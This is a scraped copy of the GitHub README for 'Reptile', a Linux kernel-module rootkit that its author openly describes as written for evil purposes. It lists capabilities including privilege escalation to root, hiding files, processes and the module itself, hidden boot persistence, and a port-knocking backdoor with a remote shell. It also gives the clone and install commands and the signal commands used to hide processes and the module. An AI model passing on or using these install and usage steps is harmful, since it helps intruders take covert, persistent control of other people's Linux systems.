f0rb1dd3n/Reptile: LKM Linux rootkit
2018-05-26 00:03:32 Author: github.com(查看原文) 阅读量:621 收藏

Join GitHub today

GitHub is home to over 20 million developers working together to host and review code, manage projects, and build software together.

Sign up

LKM Linux rootkit

C Shell Makefile

Switch branches/tags

master

Nothing to show

Nothing to show

Clone or download

Clone with HTTPS

Use Git or checkout with SVN using the web URL.

Launching GitHub Desktop...

If nothing happens, download GitHub Desktop and try again.

Launching GitHub Desktop...

If nothing happens, download GitHub Desktop and try again.

Launching Xcode...

If nothing happens, download Xcode and try again.

Launching Visual Studio...

If nothing happens, download the GitHub extension for Visual Studio and try again.

Fetching latest commit…

Cannot retrieve the latest commit at this time.

Permalink

Failed to load latest commit information.
sbin fixing some things May 19, 2018
scripts add kernel portknocking and full TTY shell May 9, 2018
Makefile some fixing Feb 19, 2018
README.md Update README.md May 22, 2018
installer.sh fix boot persistence May 24, 2018
rep_mod.c fixing skb handling May 24, 2018

README.md

Reptile is a LKM rootkit written for evil purposes that runs on kernel 2.6.x/3.x/4.x.
Would you like to see his fatality?

Features

  • Give root to unprivileged users
  • Hide files and directories
  • Hide files contents
  • Hide processes
  • Hide himself
  • Hidden boot persistence
  • ICMP/UDP/TCP port-knocking backdoor
  • Full TTY/PTY shell with file transfer
  • Client to handle Reptile Shell

Roadmap

  • Socket/Packet hiding

Install

apt-get install linux-headers-$(uname -r)
git clone https://github.com/f0rb1dd3n/Reptile.git
cd Reptile
./installer.sh install

Uninstall

./installer.sh remove

Usage

Binaries will be copied to /reptile folder (or any name you chose), that will be hidden by Reptile.

Getting root privileges

Just run: /reptile/reptile_r00t

Hiding

  • Hide/unhide reptile module: kill -50 0
  • Hide/unhide process: kill -49 <PID>
  • Hide files contents: kill -51 0 and all content between the tags will be hidden

Example:

#<reptile> 
content to hide 
#</reptile>

Backdoor

You use the client to send magic packets and get your full TTY encrypted shell!

More informations: Reptile Shell

Disclaimer

Some functions of this module is based on another rootkits. Please see the references!

References


文章来源: https://github.com/f0rb1dd3n/Reptile
如有侵权请联系:admin#unsafe.sh